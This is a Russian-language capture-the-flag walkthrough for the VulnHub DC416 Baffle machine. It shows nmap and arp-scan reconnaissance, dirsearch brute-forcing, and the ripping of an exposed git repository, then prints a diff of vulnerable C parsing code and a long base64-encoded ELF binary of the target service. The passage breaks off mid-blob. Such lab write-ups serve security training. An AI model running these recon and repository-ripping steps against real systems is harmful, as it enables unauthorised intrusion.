Всем доброго времени суток, этой статьёй хотелось бы завершить серию DC416, CTF с конференции DefCon Toronto's. Оставив на десерт DC416 Baffle, на мой взгляд, самый интересный и хардкорный квест, предоставленный командой VulnHub.
Внимание! Впереди будет много реверса и бинарной эксплуатации!
Если вы к этому не готовы, то рекомендую для начала ознакомиться с предыдущими райтапами:
Начнём
Запускаем виртуалку, и переходим к поиску открытых портов:
$ sudo arp-scan -l -I wlan0 | grep "CADMUS COMPUTER SYSTEMS" | awk '{print $1}' | xargs sudo nmap -sV -p1-65535
Starting Nmap 7.01 ( nmap.org ) at 2016-12-31 12:19 MSK
Nmap scan report for 192.168.1.190
Host is up (0.00071s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
80/tcp open http nginx 1.6.2
6969/tcp open acmsoda?
MAC Address: 08:00:27:84:83:C3 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Flag 1
$ sudo dirsearch -u 'http://192.168.1.190' -w /usr/share/dirb/wordlists/big.txt -e php,html,js,jpg,txt,bak -r -f -x 403
Есть директория с git репозиторием. Выкачиваем её используя dvcs-ripper:
$ mkdir site-repo && cd site-repo
$ rip-git -u http://ift.tt/2jOnKFI
$ ls -ahl
drwxrwxr-x 6 gh0st3rs gh0st3rs 4,0K янв. 2 17:25 .git
-rw-rw-r-- 1 gh0st3rs gh0st3rs 616 янв. 2 17:25 hellofriend.c
commit 8bde72465957415c12ab6f89ff679f8f9e7c5c7a
Author: alice <alice@baffle.me>
Date: Mon Oct 17 14:58:02 2016 -0400
Trashed my code, but deployed the product anyway.
diff --git a/hellofriend.c b/hellofriend.c
index 10a4d9e..6f8855b 100644
--- a/hellofriend.c
+++ b/hellofriend.c
@@ -13,22 +13,13 @@ int parse_request(char *req, int n) {
char mode[10];
char *ptr = req;
FILE *fp;
-
- memset(file, 0, sizeof(file));
- memset(mode, 0, sizeof(mode));
-
- memset(data, 0, sizeof(data));
- memset(to_write, 0, sizeof(to_write));
-
- ptr = (char *)ptr + 2;
- file_len = strlen(ptr);
-
- ptr = (char *)ptr + file_len + 1;
- ptr = (char *)ptr + 6;
-
- memcpy(to_write, ptr, 500);
- memcpy(data, ptr, 2000);
+ if (req_type == 0x01) {
+ /* todo */
+ }
+ if (req_type == 0x2) {
+ /* todo */
+ }
return 0;
}
diff --git a/project.enc b/project.enc
deleted file mode 100644
index 7fe355b..0000000
--- a/project.enc
+++ /dev/null
@@ -1,147 +0,0 @@
-f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAUAZAAAAAAABAAAAAAAAAAPgYAAAAAAAAAAAAAEAAOAAI
-AEAAHwAcAAYAAAAFAAAAQAAAAAAAAABAAEAAAAAAAEAAQAAAAAAAwAEAAAAAAADAAQAAAAAAAAgA
-AAAAAAAAAwAAAAQAAAAAAgAAAAAAAAACQAAAAAAAAAJAAAAAAAAcAAAAAAAAABwAAAAAAAAAAQAA
-AAAAAAABAAAABQAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAFwLAAAAAAAAXAsAAAAAAAAAACAA
-AAAAAAEAAAAGAAAAYAsAAAAAAABgC2AAAAAAAGALYAAAAAAAYAIAAAAAAAB4BAAAAAAAAAAAIAAA
-AAAAAgAAAAYAAAB4CwAAAAAAAHgLYAAAAAAAeAtgAAAAAADQAQAAAAAAANABAAAAAAAACAAAAAAA
-AAAEAAAABAAAABwCAAAAAAAAHAJAAAAAAAAcAkAAAAAAAEQAAAAAAAAARAAAAAAAAAAEAAAAAAAA
-AFDldGQEAAAADAoAAAAAAAAMCkAAAAAAAAwKQAAAAAAAPAAAAAAAAAA8AAAAAAAAAAQAAAAAAAAA
-UeV0ZAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAv
-bGliNjQvbGQtbGludXgteDg2LTY0LnNvLjIABAAAABAAAAABAAAAR05VAAAAAAACAAAABgAAACAA
-AAAEAAAAFAAAAAMAAABHTlUAjY+HU1RRADsF2xXRTQeBhXaBO0kCAAAACwAAAAEAAAAGAAAAAAAA
-AAABEAALAAAAAAAAACkdjBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAABIAAAAAAAAA
-AAAAAAAAAAAAAAAAPwAAABIAAAAAAAAAAAAAAAAAAAAAAAAAEQAAABIAAAAAAAAAAAAAAAAAAAAA
-AAAAJQAAABIAAAAAAAAAAAAAAAAAAAAAAAAALAAAABIAAAAAAAAAAAAAAAAAAAAAAAAARgAAABIA
-AAAAAAAAAAAAAAAAAAAAAAAAGAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAWAAAACAAAAAAAAAAAAAA
-AAAAAAAAAAAAOAAAABIAAAAAAAAAAAAAAAAAAAAAAAAACwAAABIAAAAAAAAAAAAAAAAAAAAAAAAA
-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
-AAAAAAAAAAAAAAAAAwAEAGACQAAAAAAAAAAAAAAAAAAAAAAAAwAFAIgCQAAAAAAAAAAAAAAAAAAA
-AAAAAwAGAKgDQAAAAAAAAAAAAAAAAAAAAAAAAwAHACYEQAAAAAAAAAAAAAAAAAAAAAAAAwAIAEAE
-QAAAAAAAAAAAAAAAAAAAAAAAAwAJAHAEQAAAAAAAAAAAAAAAAAAAAAAAAwAKAKAEQAAAAAAAAAAA
-AAAAAAAAAAAAAwALAHgFQAAAAAAAAAAAAAAAAAAAAAAAAwAMAKAFQAAAAAAAAAAAAAAAAAAAAAAA
-AwANAEAGQAAAAAAAAAAAAAAAAAAAAAAAAwAOAFAGQAAAAAAAAAAAAAAAAAAAAAAAAwAPAPQJQAAA
-AAAAAAAAAAAAAAAAAAAAAwAQAAAKQAAAAAAAAAAAAAAAAAAAAAAAAwARAAwKQAAAAAAAAAAAAAAA
-AAAAAAAAAwASAEgKQAAAAAAAAAAAAAAAAAAAAAAAAwATAGALYAAAAAAAAAAAAAAAAAAAAAAAAwAU
-AGgLYAAAAAAAAAAAAAAAAAAAAAAAAwAVAHALYAAAAAAAAAAAAAAAAAAAAAAAAwAWAHgLYAAAAAAA
-AAAAAAAAAAAAAAAAAwAXAEgNYAAAAAAAAAAAAAAAAAAAAAAAAwAYAFANYAAAAAAAAAAAAAAAAAAA
-AAAAAwAZALANYAAAAAAAAAAAAAAAAAAAAAAAAwAaAMANYAAAAAAAAAAAAAAAAAAAAAAAAwAbAAAA
-AAAAAAAAAAAAAAAAAAABAAAABADx/wAAAAAAAAAAAAAAAAAAAAAMAAAAAQAVAHALYAAAAAAAAAAA
-AAAAAAAZAAAAAgAOAIAGQAAAAAAAAAAAAAAAAAAbAAAAAgAOAMAGQAAAAAAAAAAAAAAAAAAuAAAA
-AgAOAAAHQAAAAAAAAAAAAAAAAABEAAAAAQAaAMgNYAAAAAAAAQAAAAAAAABTAAAAAQAUAGgLYAAA
-AAAAAAAAAAAAAAB6AAAAAgAOACAHQAAAAAAAAAAAAAAAAACGAAAAAQATAGALYAAAAAAAAAAAAAAA
-AAClAAAABADx/wAAAAAAAAAAAAAAAAAAAAABAAAABADx/wAAAAAAAAAAAAAAAAAAAACtAAAAAQAS
-AFgLQAAAAAAAAAAAAAAAAAC7AAAAAQAVAHALYAAAAAAAAAAAAAAAAAAAAAAABADx/wAAAAAAAAAA
-AAAAAAAAAADHAAAAAAATAGgLYAAAAAAAAAAAAAAAAADYAAAAAQAWAHgLYAAAAAAAAAAAAAAAAADh
-AAAAAAATAGALYAAAAAAAAAAAAAAAAAD0AAAAAAARAAwKQAAAAAAAAAAAAAAAAAAHAQAAAQAYAFAN
-YAAAAAAAAAAAAAAAAAAdAQAAEgAOAPAJQAAAAAAAAgAAAAAAAAAtAQAAIAAAAAAAAAAAAAAAAAAA
-AAAAAABJAQAAEQAaAMANYAAAAAAACAAAAAAAAAD6AQAAIAAZALANYAAAAAAAAAAAAAAAAABdAQAA
-EAAZAMANYAAAAAAAAAAAAAAAAAAnAQAAEgAPAPQJQAAAAAAAAAAAAAAAAABkAQAAEgAAAAAAAAAA
-AAAAAAAAAAAAAAB4AQAAEgAAAAAAAAAAAAAAAAAAAAAAAACMAQAAEgAAAAAAAAAAAAAAAAAAAAAA
-AACgAQAAEgAAAAAAAAAAAAAAAAAAAAAAAAC0AQAAEgAAAAAAAAAAAAAAAAAAAAAAAADGAQAAEgAA
-AAAAAAAAAAAAAAAAAAAAAADlAQAAEgAAAAAAAAAAAAAAAAAAAAAAAAD4AQAAEAAZALANYAAAAAAA
-AAAAAAAAAAAFAgAAIAAAAAAAAAAAAAAAAAAAAAAAAAAUAgAAEQIZALgNYAAAAAAAAAAAAAAAAAAh
-AgAAEgAAAAAAAAAAAAAAAAAAAAAAAAA0AgAAEQAQAAAKQAAAAAAABAAAAAAAAABDAgAAEgAOAIAJ
-QAAAAAAAZQAAAAAAAADTAAAAEAAaANgPYAAAAAAAAAAAAAAAAAD+AQAAEgAOAFAGQAAAAAAAKgAA
-AAAAAABTAgAAEAAaAMANYAAAAAAAAAAAAAAAAABfAgAAEgAOAPcIQAAAAAAAfAAAAAAAAABkAgAA
-EgAAAAAAAAAAAAAAAAAAAAAAAAB3AgAAIAAAAAAAAAAAAAAAAAAAAAAAAACLAgAAEgAOAEYHQAAA
-AAAAsQEAAAAAAACZAgAAEQIZAMANYAAAAAAAAAAAAAAAAAClAgAAIAAAAAAAAAAAAAAAAAAAAAAA
-AAC/AgAAEQAaAOANYAAAAAAA9AEAAAAAAABNAgAAEgALAHgFQAAAAAAAAAAAAAAAAAAAY3J0c3R1
-ZmYuYwBfX0pDUl9MSVNUX18AZGVyZWdpc3Rlcl90bV9jbG9uZXMAX19kb19nbG9iYWxfZHRvcnNf
-YXV4AGNvbXBsZXRlZC42OTc5AF9fZG9fZ2xvYmFsX2R0b3JzX2F1eF9maW5pX2FycmF5X2VudHJ5
-AGZyYW1lX2R1bW15AF9fZnJhbWVfZHVtbXlfaW5pdF9hcnJheV9lbnRyeQBjdGZ0cC5jAF9fRlJB
-TUVfRU5EX18AX19KQ1JfRU5EX18AX19pbml0X2FycmF5X2VuZABfRFlOQU1JQwBfX2luaXRfYXJy
-YXlfc3RhcnQAX19HTlVfRUhfRlJBTUVfSERSAF9HTE9CQUxfT0ZGU0VUX1RBQkxFXwBfX2xpYmNf
-Y3N1X2ZpbmkAX0lUTV9kZXJlZ2lzdGVyVE1DbG9uZVRhYmxlAHN0ZG91dEBAR0xJQkNfMi4yLjUA
-X2VkYXRhAHN0cmxlbkBAR0xJQkNfMi4yLjUAc2V0YnVmQEBHTElCQ18yLjIuNQBwcmludGZAQEdM
-SUJDXzIuMi41AG1lbXNldEBAR0xJQkNfMi4yLjUAcmVhZEBAR0xJQkNfMi4yLjUAX19saWJjX3N0
-YXJ0X21haW5AQEdMSUJDXzIuMi41AGZnZXRzQEBHTElCQ18yLjIuNQBfX2RhdGFfc3RhcnQAX19n
-bW9uX3N0YXJ0X18AX19kc29faGFuZGxlAG1lbWNweUBAR0xJQkNfMi4xNABfSU9fc3RkaW5fdXNl
-ZABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBmb3BlbkBAR0xJQkNfMi4yLjUAX0p2
-X1JlZ2lzdGVyQ2xhc3NlcwBwYXJzZV9yZXF1ZXN0AF9fVE1DX0VORF9fAF9JVE1fcmVnaXN0ZXJU
-TUNsb25lVGFibGUAdG9fd3JpdGUAAC5zeW10YWIALnN0cnRhYgAuc2hzdHJ0YWIALmludGVycAAu
-bm90ZS5BQkktdGFnAC5ub3RlLmdudS5idWlsZC1pZAAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3Ry
-AC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsYS5keW4ALnJlbGEucGx0AC5pbml0AC5w
-bHQuZ290AC50ZXh0AC5maW5pAC5yb2RhdGEALmVoX2ZyYW1lX2hkcgAuZWhfZnJhbWUALmluaXRf
-YXJyYXkALmZpbmlfYXJyYXkALmpjcgAuZHluYW1pYwAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21t
-ZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-AAAAAAAAAAAAAAAAAAAAGwAAAAEAAAACAAAAAAAAAAACQAAAAAAAAAIAAAAAAAAcAAAAAAAAAAAA
-AAAAAAAAAQAAAAAAAAAAAAAAAAAAACMAAAAHAAAAAgAAAAAAAAAcAkAAAAAAABwCAAAAAAAAIAAA
-AAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAxAAAABwAAAAIAAAAAAAAAPAJAAAAAAAA8AgAA
-AAAAACQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAARAAAAPb//28CAAAAAAAAAGACQAAA
-AAAAYAIAAAAAAAAkAAAAAAAAAAUAAAAAAAAACAAAAAAAAAAAAAAAAAAAAE4AAAALAAAAAgAAAAAA
-AACIAkAAAAAAAIgCAAAAAAAAIAEAAAAAAAAGAAAAAQAAAAgAAAAAAAAAGAAAAAAAAABWAAAAAwAA
-AAIAAAAAAAAAqANAAAAAAACoAwAAAAAAAH4AAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA
-XgAAAP///28CAAAAAAAAACYEQAAAAAAAJgQAAAAAAAAYAAAAAAAAAAUAAAAAAAAAAgAAAAAAAAAC
-AAAAAAAAAGsAAAD+//9vAgAAAAAAAABABEAAAAAAAEAEAAAAAAAAMAAAAAAAAAAGAAAAAQAAAAgA
-AAAAAAAAAAAAAAAAAAB6AAAABAAAAAIAAAAAAAAAcARAAAAAAABwBAAAAAAAADAAAAAAAAAABQAA
-AAAAAAAIAAAAAAAAABgAAAAAAAAAhAAAAAQAAABCAAAAAAAAAKAEQAAAAAAAoAQAAAAAAADYAAAA
-AAAAAAUAAAAYAAAACAAAAAAAAAAYAAAAAAAAAI4AAAABAAAABgAAAAAAAAB4BUAAAAAAAHgFAAAA
-AAAAGgAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAACJAAAAAQAAAAYAAAAAAAAAoAVAAAAA
-AACgBQAAAAAAAKAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAlAAAAAEAAAAGAAAAAAAA
-AEAGQAAAAAAAQAYAAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAJ0AAAABAAAA
-BgAAAAAAAABQBkAAAAAAAFAGAAAAAAAAogMAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAACj
-AAAAAQAAAAYAAAAAAAAA9AlAAAAAAAD0CQAAAAAAAAkAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAA
-AAAAAAAAqQAAAAEAAAACAAAAAAAAAAAKQAAAAAAAAAoAAAAAAAAJAAAAAAAAAAAAAAAAAAAABAAA
-AAAAAAAAAAAAAAAAALEAAAABAAAAAgAAAAAAAAAMCkAAAAAAAAwKAAAAAAAAPAAAAAAAAAAAAAAA
-AAAAAAQAAAAAAAAAAAAAAAAAAAC/AAAAAQAAAAIAAAAAAAAASApAAAAAAABICgAAAAAAABQBAAAA
-AAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAyQAAAA4AAAADAAAAAAAAAGALYAAAAAAAYAsAAAAA
-AAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAANUAAAAPAAAAAwAAAAAAAABoC2AAAAAA
-AGgLAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADhAAAAAQAAAAMAAAAAAAAA
-cAtgAAAAAABwCwAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAA5gAAAAYAAAAD
-AAAAAAAAAHgLYAAAAAAAeAsAAAAAAADQAQAAAAAAAAYAAAAAAAAACAAAAAAAAAAQAAAAAAAAAJgA
-AAABAAAAAwAAAAAAAABIDWAAAAAAAEgNAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAA
-AAAAAADvAAAAAQAAAAMAAAAAAAAAUA1gAAAAAABQDQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAA
-AAAAAAgAAAAAAAAA+AAAAAEAAAADAAAAAAAAALANYAAAAAAAsA0AAAAAAAAQAAAAAAAAAAAAAAAA
-AAAACAAAAAAAAAAAAAAAAAAAAP4AAAAIAAAAAwAAAAAAAADADWAAAAAAAMANAAAAAAAAGAIAAAAA
-AAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAADAQAAAQAAADAAAAAAAAAAAAAAAAAAAADADQAAAAAA
-ACYAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAEQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAA
-6BcAAAAAAAAMAQAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAAAAAAAAAAAA
-AAAAAAAAAOgNAAAAAAAAOAcAAAAAAAAeAAAALwAAAAgAAAAAAAAAGAAAAAAAAAAJAAAAAwAAAAAA
-AAAAAAAAAAAAAAAAAAAgFQAAAAAAAMgCAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA
commit d38ce2e28e32aa7787d5e8a2cb83d3f75c988eca
Author: alice <alice@baffle.me>
Date: Mon Oct 17 14:55:07 2016 -0400
Some assembly required
diff --git a/project.enc b/project.enc
new file mode 100644
index 0000000..7fe355b
--- /dev/null
+++ b/project.enc
@@ -0,0 +1,147 @@
+f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAUAZAAAAAAABAAAAAAAAAAPgYAAAAAAAAAAAAAEAAOAAI
+AEAAHwAcAAYAAAAFAAAAQAAAAAAAAABAAEAAAAAAAEAAQAAAAAAAwAEAAAAAAADAAQAAAAAAAAgA
+AAAAAAAAAwAAAAQAAAAAAgAAAAAAAAACQAAAAAAAAAJAAAAAAAAcAAAAAAAAABwAAAAAAAAAAQAA
+AAAAAAABAAAABQAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAFwLAAAAAAAAXAsAAAAAAAAAACAA
+AAAAAAEAAAAGAAAAYAsAAAAAAABgC2AAAAAAAGALYAAAAAAAYAIAAAAAAAB4BAAAAAAAAAAAIAAA
+AAAAAgAAAAYAAAB4CwAAAAAAAHgLYAAAAAAAeAtgAAAAAADQAQAAAAAAANABAAAAAAAACAAAAAAA
+AAAEAAAABAAAABwCAAAAAAAAHAJAAAAAAAAcAkAAAAAAAEQAAAAAAAAARAAAAAAAAAAEAAAAAAAA
+AFDldGQEAAAADAoAAAAAAAAMCkAAAAAAAAwKQAAAAAAAPAAAAAAAAAA8AAAAAAAAAAQAAAAAAAAA
+UeV0ZAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAv
+bGliNjQvbGQtbGludXgteDg2LTY0LnNvLjIABAAAABAAAAABAAAAR05VAAAAAAACAAAABgAAACAA
+AAAEAAAAFAAAAAMAAABHTlUAjY+HU1RRADsF2xXRTQeBhXaBO0kCAAAACwAAAAEAAAAGAAAAAAAA
+AAABEAALAAAAAAAAACkdjBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAABIAAAAAAAAA
+AAAAAAAAAAAAAAAAPwAAABIAAAAAAAAAAAAAAAAAAAAAAAAAEQAAABIAAAAAAAAAAAAAAAAAAAAA
+AAAAJQAAABIAAAAAAAAAAAAAAAAAAAAAAAAALAAAABIAAAAAAAAAAAAAAAAAAAAAAAAARgAAABIA
+AAAAAAAAAAAAAAAAAAAAAAAAGAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAWAAAACAAAAAAAAAAAAAA
+AAAAAAAAAAAAOAAAABIAAAAAAAAAAAAAAAAAAAAAAAAACwAAABIAAAAAAAAAAAAAAAAAAAAAAAAA
+MQAAABEAGgDADWAAAAAAAAgAAAAAAAAAAGxpYmMuc28uNgBmb3BlbgBwcmludGYAZmdldHMAc3Ry
+bGVuAG1lbXNldAByZWFkAHN0ZG91dABtZW1jcHkAc2V0YnVmAF9fbGliY19zdGFydF9tYWluAF9f
+Z21vbl9zdGFydF9fAEdMSUJDXzIuMTQAR0xJQkNfMi4yLjUAAAACAAIAAgACAAIAAgACAAAAAwAC
+AAIAAAABAAIAAQAAABAAAAAAAAAAlJGWBgAAAwBnAAAAEAAAAHUaaQkAAAIAcgAAAAAAAABIDWAA
+AAAAAAYAAAAIAAAAAAAAAAAAAADADWAAAAAAAAUAAAALAAAAAAAAAAAAAABoDWAAAAAAAAcAAAAB
+AAAAAAAAAAAAAABwDWAAAAAAAAcAAAACAAAAAAAAAAAAAAB4DWAAAAAAAAcAAAADAAAAAAAAAAAA
+AACADWAAAAAAAAcAAAAEAAAAAAAAAAAAAACIDWAAAAAAAAcAAAAFAAAAAAAAAAAAAACQDWAAAAAA
+AAcAAAAGAAAAAAAAAAAAAACYDWAAAAAAAAcAAAAHAAAAAAAAAAAAAACgDWAAAAAAAAcAAAAJAAAA
+AAAAAAAAAACoDWAAAAAAAAcAAAAKAAAAAAAAAAAAAABIg+wISIsFxQcgAEiFwHQF6LMAAABIg8QI
+wwAAAAAAAAAAAAAAAAAA/zWyByAA/yW0ByAADx9AAP8lsgcgAGgAAAAA6eD/////JaoHIABoAQAA
+AOnQ/////yWiByAAaAIAAADpwP////8lmgcgAGgDAAAA6bD/////JZIHIABoBAAAAOmg/////yWK
+ByAAaAUAAADpkP////8lggcgAGgGAAAA6YD/////JXoHIABoBwAAAOlw/////yVyByAAaAgAAADp
+YP////8lAgcgAGaQAAAAAAAAAAAx7UmJ0V5IieJIg+TwUFRJx8DwCUAASMfBgAlAAEjHx/cIQADo
+h/////RmDx9EAAC4xw1gAFVILcANYABIg/gOSInldhu4AAAAAEiFwHQRXb/ADWAA/+BmDx+EAAAA
+AABdww8fQABmLg8fhAAAAAAAvsANYABVSIHuwA1gAEjB/gNIieVIifBIweg/SAHGSNH+dBW4AAAA
+AEiFwHQLXb/ADWAA/+APHwBdw2YPH0QAAIA9wQYgAAB1EVVIieXobv///13GBa4GIAAB88MPH0AA
+v3ALYABIgz8AdQXrkw8fALgAAAAASIXAdPFVSInl/9Bd6Xr///9VSInlSIHsMAYAAEiJvdj5//+J
+tdT5//9Ii4XY+f//SIlF+EiNhfD7//+69AEAAL4AAAAASInH6F7+//9IjYXg+f//ugoAAAC+AAAA
+AEiJx+hF/v//SIuF2Pn//0iDwAEPtgAPvsCJRfSDffQBD4WWAAAASINF+AKLhdT5//+D6AmJRfCL
